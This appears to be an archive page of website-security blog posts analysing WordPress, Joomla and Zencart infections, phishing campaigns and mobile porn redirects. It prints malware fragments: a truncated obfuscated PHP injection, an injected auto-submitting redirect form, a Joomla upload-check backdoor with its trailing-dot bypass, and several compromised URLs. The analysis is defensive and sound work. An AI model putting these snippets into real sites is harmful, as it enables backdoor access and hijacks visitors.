Massive Malware Infection Breaking WordPress Sites

Update: We identified the root cause: MailPoet Vulnerability Exploited in the Wild – Breaking Thousands of WordPress Sites

The last few days has brought about a massive influx of broken WordPress websites. What makes it so unique is that the malicious payload is being blindly injected which is causing websites to break. While we’re still researching, we do want to share share some observations:

  1. This infection is aimed at websites built on the popular WordPress CMS
  2. It is targeting sites with outdated (vulnerable) plugins or weak admin passwords.
  3. Malware is highly obfuscated and attempts to inject SPAM to the hacked website

There is, however, one very unpleasant impact of this infection. The infector PHP code is buggy and it is corrupting legitimate website files. It is targeting not only the core WordPress files, but also theme and plugins files. The result are various PHP errors being displayed instead of the normal site content. If you see this error on your site:

Parse error: syntax error, unexpected ‘)’ in /home/user/public_html/site/wp-config.php on line 91

It means your site is likely hacked. Our sitecheck scanner will warn of this error as well:

corruptedsite

The only known solution (after removal of injected malware)is restoring these corrupted files from the backup. If you are curious about the malware injection, this is what it looks like (randomly generated):

<?php $pblquldqei = ‘5c%x7824-%x5c%x7824*!|!%x5c%x7824-%x5c%x7824%x5c%x785c%x5c%x7825j^%xq%x5c%x7825%x5c%x7827Y%x5c%x78256<.msv%x5c%x7860ftsbqA7>q7825)3of:opjudovg<~%x5c%x7824!%x5c%x782421787825!|!*!***b%x5c%x7825)…

We’ll continue the investigation and will provide more details as they become available. If you suspect you have been impacted by this infection rest assured that our team is ready and actively cleaning this mess up on all websites.

Website Malware – Mobile Redirect to BaDoink Porn App

A few weeks ago we reported that we were seeing a huge increase in the number of web sites compromised with a hidden redirection to pornographic content. It was a very tricky injection, with the redirection happening only once per day per IP address and only if the visitor was using a mobile device (IPhone, Android and a few others).

These types of injections are called conditional redirections because certain conditions need to be met for them to redirect visitors. They are not always present and the malware authors try very hard to hide them from the website owner. The malware code looks for logged in cookies to try to identify whether or not someone is managing the site and then attempts to never redirect someone who is logged in. Finally, if a visitor gets redirected once, the malware will not redirect them again. The goal for the malware author is for visitors to not report something going wrong with a website. In this example, if you were to visit an infected site, you’d be redirected, but from your point of view, maybe it was just something weird so you retype the url and now you aren’t redirected. Since everything is working normally now, you decide not to report it and the malware lives on.

As you can imagine, this sort of malware can be difficult to troubleshoot. In fact, very often webmasters think it’s a typo and move on instead of investigating what happened. For that reason, most sites remain compromised, so if anyone ever complains that your site redirecting to “instabang.com” or a Badoink Porn App, it is very likely your site is hacked.


Read More

Is my website hacked? If you have to ask then, “Yes.”

The problem with phishing, and therefore the reason so many people have trouble with it, is that the code is fairly benign and can be very difficult to spot because it usually looks almost exactly like legitimate code. Oftentimes, a website owner won’t know their site is hacked with a phishing scam until site visitors inform them, which is why finding phishing pages can feel like searching for a needle in a haystack.

That’s what makes the following story so instructive.

Many thanks to our own Ben Martin for walking us through the scam (and for cleaning the client’s website).

The Problem

Recently, we cleared malware from a client’s website and our malware removal expert, Ben, found some interesting phishing pages.

Where was the injection located?

It’s in the hacker’s best interest to hide their phishing pages and they’re often able to do so because the code is so benign. They don’t need to run malicious scripts or inject iframes. In this case, the page doesn’t contain any suspicious functions or calls to Russian domains. It just consists of text input fields, a.k.a. normal sorts of code you’d see on any website. The key then is to know what you’re looking for and to do that, you have to think like a hacker.

What are phishing scams attempting?

This is where it becomes important to remember what a phishing scam is normally attempting to do. In many cases, they’re looking for bank records like credit card or debit card numbers, so we kept it simple and searched, “bank,” and look what we found:

Bank

See it? The title_netbank.jpg looked suspicious and, interestingly enough, all it took was that one reference in index.htm to the .jpg file to lead us to the phishing pages. We didn’t stop there though. We also dug a little deeper and found an .htaccess file in the directory.

htaccess

What you’re seeing here are IP addresses that are allowed to view the phishing page. In this case, only those with Danish IP addresses are being redirected to view the page. In this way, the hackers are able to to narrow the scope of their attacks to those who are most likely to enter their bank numbers, while not showing a suspicious page to extra people who may alert the bank or our client to the scam.

Here’s what this specific page looked like. It was being used to redirect customers to something that looked like a Nordea Bank AB user page (Nordea Bank is a financial group operating in Northern Europe). Even if you’ve never heard of Nordea, potential customers based in Northern Europe would have heard of the bank and would have been put at risk.

Nordea

What did we learn?

The hack we cleaned here isn’t extravagant. It wasn’t obfuscated behind layers and layers of code. In fact, it was relatively simple, which is instructive. Malicious code can affect your website even when its relatively easy to spot. The lesson as always is, if you have a feeling that your site has been compromised, then it probably has been.

Phishing Tale: An Analysis of an Email Phishing Scam

Phishing scams are always bad news, and in light of the Google Drive scam that made the rounds again last week, we thought we’d tell the story of some spam that was delivered into my own inbox because even security researchers, with well though-out email block rules, still get SPAM in our inboxes from time to time.

Here’s where the story begins:

Today, among all the spam that I get in my inbox, one phishing email somehow made its way through all of my block rules.

Spam email in our security team's inbox

Even our security team gets SPAM from time to time.

I decided to look into it a little further. Of course, I wanted to know whether or not we were already blocking the phishing page, but I also wanted to investigate further and see if I could figure out where it came from. Was it from a compromised site or a trojanized computer?

The investigation started with the mail headers (identifying addresses have been changed, mostly to protect my email ☺):

Blog1

The headers tell us that miami.hostmeta.com.br is being used to send the spam. It’s also an alert that some of the sites in this shared server are likely vulnerable to the form: X-Mailer: PHPMailer [version 1.73]. I decided to look into the server and found that it contained quite a few problems. This server hosts about twenty sites, some of which are outdated–WordPress 2.9.2 is the oldest–while others are disclosing outdated web server versions (Outdated Web Server Apache Found: Apache/2.2.22) and still others are blacklisted (http://www.siteadvisor.com/sites/presten.com.br). This makes it pretty difficult to tell where the spam came from, right?

Luckily, there’s another header to help us, Message-ID:. nucleodenegociosweb.com.br is hosted on miami.hostmeta.com.br and it has an open contact form. I used it to send a test message and although the headers are similar, the PHPMailer differs:

Blog2

What Do We Know Now?

We know who is sending the phishing messages, but what host are they coming from? There are some clues in the message body:

blog3

From that image, we can see that http://www.dbdacademy.com/dbdtube/includes/domit/new/ is hosting the image and the link to the phishing scam, but it doesn’t end there. As you can see from the content below, we’ll be served a redirect to http://masd-10.com/contenido/modules/mod_feed/tmpl/old/?cli=Cliente&/JMKdWbAqLH/CTzPjXNZ7h.php, which loads an iframe hosted on http://www.gmff.com.hk/data1/tooltips/new/.

Here is the content:
Phishing email

Problem Solved. Or is It?

In this case, there are three compromised sites being used to deliver the phishing campaign and it’s becoming very common to see this strategy adopted. The problem, from the bad guy’s point of view, is that if they store all of their campaign components on one site, then they lose all of their work when we come in and clean the website. If they split the components up and place them on multiple sites, with different site owners, then it’s unlikely that all of the sites will be cleaned at one time, which means their scam can continue.

As always with malware, it’s not enough for your site to be clean. You also need to rely on everyone else to keep their own site clean. When others don’t, your computer or website can be put at risk.

If you’re interested in technical notes regarding the type of research we do be sure to follow us on Twitter and be sure to check in with our Lab Notes. If you something interesting you’d like us analyze please don’t hesitate to ping us, we’re always looking for a new challenge.

Analyzing a Malicious iFrame – Following the Eval Trail

Over the last week, we’ve been working with some interesting malware injections. Developers and malware prevention professionals usually think of hidden iframes that deliver spam-seo or other malware as easy to spot. Take this injection, for example (Thanks to Sucuri team member, Rafael C., for the sample):

Sucuri - JS Infection II

This is not a traditional iframe src=’http://… code, but you can see where the bad code lives in the example above. This is a problem for the creators of this malware because if an infection is easily detectable then it’s a relatively straightforward process to write a script to detect and clean it up. That’s why the next step for the malware creator is to hide or obfuscate the injection.

Spotting Obfuscated Code

Using JavaScript, there are several ways to obfuscate malicious code like CharCode or URLEncode. In general, obfuscated malware looks like the example below, but of course, the techniques can be more or less advanced. Our team tends to like writing about the more complicated events:

Sucuri - JS Injection Sample

At first glance, this code looks like a CSS related script, i.e. part of your site’s visual architecture, which you don’t want to touch because it could break your site’s look and feel. This, of course, is exactly what the malware creator wants you to think.

Is it Malware?

The tricky thing here is that this function is actually creating a CSS rule. Were we wrong to think that it’s malicious?

last_style_node.addRule(selector, declaration);

What we need to do to find out is look at the content of the rule. To do that, we look for the function call.

createCSS('#va', 'background:url(data:,String.fromCharCode)');

The code is defining the background image for the #va selector. When you look closely you can see that String.fromCharCode is not a valid URL. Remember, malware creators need to figure out how to hide their code injections. In this scenario, storing the functions it needs inside a CSS style is ingenious.

Now that we know where the malware lives, we can find out how it is recovering those strings:

Sucuri - JS Infection III

Putting It All Together

In the code above, we see that the vkk variable is used as the fromCharCode function and uu variable contains a va string. At this moment, this doesn’t make sense, but it starts to come together as we keep moving through some lines of code.

Sucuri - JS Infection IV

It’s important to the hacker that nothing is stored in plain sight (if it was, it’d be much easier to clean). In this instance, take the t variable as an example; it contains the number 2. In this case, this value is attributed by subtracting 2 from the number of seconds of a date stored in the knr variable. That’s pretty complex, right?

This t variable is used to multiply all entries of the xt array*

*Some of the content of this variable has been removed to shorten the post. It doesn’t affect the code’s logic.

Next, there is an empty function called g, which is attributed to hhhu variable, and within these parameters the uu is being used to create the function. By concatenating the e, va(the content of uu) and l we end up with, eval! Now we’re finding some malware.

Then, another chain of variables, hhhu, is now attributed to ac with a different function–the one inside the variable ry, which, previously, we saw contains String.fromCharCode. Now it’s eval’ing String.fromCharCode for CharCodes that are stored in the xt variable.

Finally, after all this, it calls the eval again–the hhhu–but now to execute the code inside dwms variable, which was decoded using the for loop from before.

Dissecting Malware is A Full Time Job

That was an illustration of one payload. It’s just one data point that articulates the sort of complex obfuscation we deal with on a daily basis and, we can say without reservation, as we continue to find new ways to detect it more easily, malware creators will find ways to make their obfuscation more and more complex. If you’re having trouble with malware or blacklisting, take a look at the symptoms of malware and ask us to help.

Do you have samples you’d like us to analyze? Feel free to engage us on Twitter at SucuriLabs or feel free to send us an email at labs@sucuri.net.

BaDoink Website Redirect – Malicious Redirections to Porn Websites on Mobile Devices

The past week has brought about a large number of cases where compromised websites had hidden redirections to porn injected into their code. All the infections had a similar pattern where they only targeted mobile devices. They are highly conditional as well making it challenging for webmasters to detect.

Lets take a minute to explain what is going on.

Conditional Redirects to Porn Websites Targeting Mobile Devices

Sounds complicated, but it isn’t. If the visitor is coming from an Ipad, Iphone, Android or other similar mobile device, the page is redirected to a random pornographic page. If the same person tries to visit the site again, nothing happens and the site loads properly. What gives?

1. The Word is “Conditional”

The malware injected on the website is intelligent. It stores the IP address for all the visitors that it redirects to the porn website. If you see the redirect once, it is likely that you won’t see it again for many hours. This makes the malware very difficult to detect and leads people to think it was a random error or that maybe they mistyped the URL.

2. Mobile-Only

This injection is only redirecting Mobile browsers. It’s targets seems to be iPhone, iPad, Android and a few other mobile OS browsers. For everyone else, the site looks clean and safe.

3. Mobile-only + Conditional = Very hard to detect

When you mix conditional with mobile-specific infections, you know it will be very difficult to detect. Yes, even SiteCheck has a hard time flagging it. It will flag the site once, but if the user forces a re-scan it will show the website as clean.

As you can imagine, it can be very confusing for the end user.

Browser-site injection

Rafael Capovilla, one of our Sr. Analysts, was the first to find and decipher how the injection is displayed on the browser. It is very sneaky, accomplishing it’s goal by utilizing a form like this one:

<form method=POST action="http://gridironservices.com/579205f64a3c6…php?q=b9f6606dcd0186725..” id=”refoto_form” target=”_top”>

With random domains (intelligenthometheater.com, gridironservices.com, etc). That by itself it looks ok, but embedded you’ll find this javascript code:

document.getElementById("refoto_form"). submit( );

This forces the POST to be submitted and the visitor redirected. At first glance they both look legitimate and will likely pass as clean for most (if not all) Anti-Virus and security tools.

As mentioned before, this only appears on Mobile devices and conditionally. You might be wondering why they would redirect to porn. As is often the case, it’s all about the money.

These pages are the first level in the redirection funnel. They proceed to push the user to affiliate/ads links, similar to these: httx://ads. mobiteasy.com/ or httx://www. instabang.com/tour/zinstabang.

Where they pay the malware authors good money for every click.

Removing the Porn Redirection

Shameless Plug: If you have used SiteCheck and notice the issue I mentioned above – showing dirty then clean or not showing at all – have no fear, this does happen from time to time it’s how the scanner works. Rest assured though that our team is able to address the issue and our internal scanners will catch the issue outright once configured.

To address the issue yourself investigate these locations:

  • /index.php
  • /wp-config.php (if using WordPRess)
  • /configuration.php (if using Joomla)
  • /wp-content/themes/yourtheme/functions.php (if using WordPress)

These are the 4 places we see this injection being added. Note that it is highly encoded, you will have to look for any line that looks out of place and it’s best to engage your developer for help.

Remember, the issue at the surface – the infection – is only the tip of the iceberg. If your website is infected you have to assume that the attackers have penetrated your defenses and have added controls that will allow them to continue to penetrate your environment. Be sure to look for backdoors.

If you have any question, let us know. You can also engage us on Twitter at Sucuri Support or Sucuri Labs.

Ad Violations: Why Search Engines Won’t Display Your Site If it’s Infected With Malware

As your site’s webmaster, have you ever seen an e-mail from Google like this:

Hello,

We wanted to alert you that one of your sites violates our advertising policies. Therefore, we won’t be able to run any of your ads that link to that site, and any new ads pointing to that site will also be disapproved.

Here’s what you can do to fix your site and hopefully get your ad running again:

1. Make the necessary changes to your site that currently violates our policies:
Display URL: site.com
Policy issue: Malware
Details & instructions:

2. Resubmit your site to us, following the instructions in the link above….

If so, you know the potential downside risk this poses for your website. In their own words, Google says,

In some cases, you may be unaware that you have malware on your site. But to protect the safety and security of our users, we stop all ads pointing to sites where we find malware.

In essence, Google and Bing care about their searchers more than your business so, to protect their customers, they’ll shut your website out of Adwords and Bing Ads and will return your site less in organic searches.

Often overlooked in the search business is the role of the actual search engine in the ad placement process. These are businesses that specialize in creating algorithms to show relevant search results, assigning quality scores to your landing pages and placing your actual ads. A lot goes into the process, but in all cases, the key for the search engine is to show relevant search results (including ads) that keep people using their search engine. It is in this spirit that search engines like Google and Bing reserve the right to refuse your ads. This is especially true if they have any reason to believe that your site may be infected with malware–including viruses, worms, spyware, and Trojan Horses–or is being used in phishing schemes.

From the search engine’s perspective, this makes perfect sense. Searches are their lifeblood and there are other search engines a person could use to find websites. By showing your ads or returning your site organically in a search, they are tacitly telling the searcher, “We found these sites to be relevant to you.” If they start sending you to sites that are potentially harmful, then a searcher could, potentially, switch search engines.

However, knowing why search engines work as they do doesn’t make it easier to be a webmaster when a site is hacked. Luckily, our clean up and malware removal tools as well as our de-blacklisting service are just a click away.

Or, better yet, keep yourself from ever getting an email like the one above from Bing or Google. Instead, protect your site, and business, from potential problems stemming from malware, blacklisting or phishing and look into protecting your site with a website application firewall like our CloudProxy WAF .

Highly Effective Joomla Backdoor with Small Profile

It feels like every day we’re finding gems, or what appear to be gems to us. We try to balance the use of the term, but I can’t lie, these are truly gems. The things they are doing, and by they I mean the attackers, are in some instance ingenious. I think you’ll agree that this case falls into that category.

In short, this is a highly effective backdoor that carries little profile, making it Hight Speed Low Drag.

Understanding Attackers

As we’ve discussed in the past, most attackers have a pretty standard workflow when compromising websites. Here’s that process in it’s simplest form:

  1. Identify point of entry / weakness
  2. Exploit the entry / weakness
  3. Ensure that they can retain access
  4. Cover your tracks

I agree, nothing earth shattering, but it does help us understand what it is we need to be looking for.

Many will make the argument that a site is not clear if you haven’t performed some level of forensics to understand what happened. Often this same analysis will lend itself to items 3 and 4 in the list. Reverse engineering their attempts to clean up their traces and finding those backdoors, diamonds in the ruff.

Unfortunately, this level of forensics is not for everyone and contrary to popular belief it’s not as simple as looking for simple obfuscation. No, these days the backdoors are becoming highly sophisticated, making use of built-in functions and carry little trace of what you might consider to be traditional backdoors.

What many also don’t realize is how important the third step is. If done correctly, the attacker is able to bypass all your access control mechanisms, i.e., logins like administrator and FTP, and work right off your server with little hesitation.

This post is an example of that, for instance take into consideration these two images:

Image #1

Sucuri-Joomla-Backdoor-I

Image #2

Sucuri-Joomla-Backdoor-II

Can you pinpoint the difference or the backdoor? Is there a backdoor?

Joomla Specific Backdoor

The images above are an example of what we recently found and the purpose of this post.

Yes, I agree, it’s unfair for us to ask you to pinpoint the difference in the images; besides, the total change is no greater than 304 bytes.

But for those keen eyes, you probably noticed the difference in the if-clause, here specifically:

if (!in_array($format, $allowable) && !in_array($format,$ignored))

Versus this:

if ($format == '' || $format == false || (!in_array($format, $allowable) && !in_array($format,$ignored)))

For those that are completely lost, it all comes down to how the $format variable is created. For that we have to look here:

$format = strtolower(JFile::getExt($file['name']));

This tell us that the variable is getting the file’s extension using a Joomla native function called getExt. This function does this:

function getExt($file) {
$chunks = explode('.', $file);
$chunksCount = count($chunks) - 1;

if($chunksCount > 0) {
return $chunks[$chunksCount];
}

return false;
}

This in turn breaks the file name into pieces based on the positions of the dot, returning false if there are not dots. If everything is ok it returns the latest group after the last dot, i.e., the extension.

This is where the canUpload function will check if the extension is part of the allowed ones or not. This goes back to the very first if clause shared above.

In the second set, you see two additional conditions, if $format is false or if it’s empty. That’s then followed by another .OR. operator just before checking if the extension is allowed.

In these cases, if the extension is empty or if it’s false or allowed, the file can be uploaded. This and nothing is the same thing, right?

Wow, that one hurt my head too, sorry.. but hang in there.

In order to make the $format false, or empty, the attacker would need to add a trailing dot to the end of the file, like backdoor.php.. But it’s not that simple, the upload alone won’t make it useable.

That brings you to the next obvious question, “Fio, if it’s not usable why the heck did you take us down riddle man?” Glad you asked…

First, because I probably had one too many beers while writing this.

Second, it comes down to this code:

function makeSafe($file) {
// Remove any trailing dots, as those aren't ever valid file names.
$file = rtrim($file, '.');
$regex = array('#(\.){2,}#', '#[^A-Za-z0-9\.\_\- ]#', '#^\.#');
return preg_replace($regex, '', $file);
}

I mean seriously, have you ever seen code in better shape than this? The lines, the logic, even the commenting..

// Remove any trailing dots, as those aren’t ever valid file names.

And you have to appreciate the irony in the function name, makeSafe. Make safe a backdoor that is going to do anything but make your website safe.

Here is the kicker, for those that didn’t catch it, this is a valid function inside ./libraries/joomla/filesystem/file.php, a core file of Joomla. This function, by design, cleans out all odd characters from a filename and returns a safe filename. Sound familiar? Remember that trailing dot? Pretty sure that’s unsafe, Joomla core agrees with us, as such it does what it’s supposed to do, makes a previously unsafe file, safe. Ain’t that something?

Perfect example of a feature that gets abused for bad when it was designed for good.

The Ever Evolving Landscape

I chose to share this little gem with the world because it talks volumes to the evolution in the attacks that we’re seeing. The website security market has turned into a gold rush as of late, but with that growth we have seen new innovation in the way attackers are 1) attacking websites and 2) how they’re retaining control of those same websites.

This is forcing us to really look deep into the various detection and remediation technologies to better understand how to prevent scenarios like the one described in this post.

This attack specifically is not something a signature would have ever picked up, it’s tightly integrated and dependent on what most would categorize as “good” code, and by good I mean it’s part of core and designed to do a good thing. Now extend this line of thinking, think beyond core.

If attackers are starting to look at how “good” code functions and finding ways to manipulate its use, what is to stop them from extending that thought process to code found in your templates, themes, extensions, plugins? This is a real problem that extends far beyond Joomla and will soon plague other CMS applications, if they are not already.

If you have something to add or share on the post, use the comments we’d love to get your hear from you.

If you find yourself in a similar situation, suffering repeated attacks or infections be sure to contact us. Whether you’re infected and need to be cleared, or prefer not to have to deal with this at all, we have a complete security solution to keep your website clean and safe.

Malicious iFrame Injections Host Payload on Tumblr

It’s always fun to watch malware developers using different techniques to code their creations. Sometimes it’s a matter of obfuscation, placement, injection, but this time it’s how they code it to be dynamic.

I believe this is not the first one that uses this service, but it’s the first time I’m seeing it. The concept is not new, we have often seen Twitter and Ask.fm accounts being used as malware Command & Control (C&C) servers, but now we can add Tumblr to the list.

A few weeks ago we found an iFrame injection that was relying on Tumblr to trigger the payload.

Tumblr lets you effortlessly share anything. – Tumblr

It appears they take this motto to heart!

How Does It Work?

The anatomy of this attack is very interesting.

Read More

Mysterious Zencart Redirects Leverage HTTP Headers

About a week ago we got an interesting Zencart case. Being that we don’t often write about Zencart we figured it’d be good time to share the case and details on what we found.

The Scenario

The site was redirecting to “www .promgirl .de”. I know, not very unique.

Additionally, it was only affecting “www” instances, all “non-www” instances were working correctly with no redirects. We also noticed that it would only trigger with specific User Agents and Referrers. This shouldn’t be new as we’ve talked at length about conditional malware.

Sucuri-Zencart-Analysis

Read More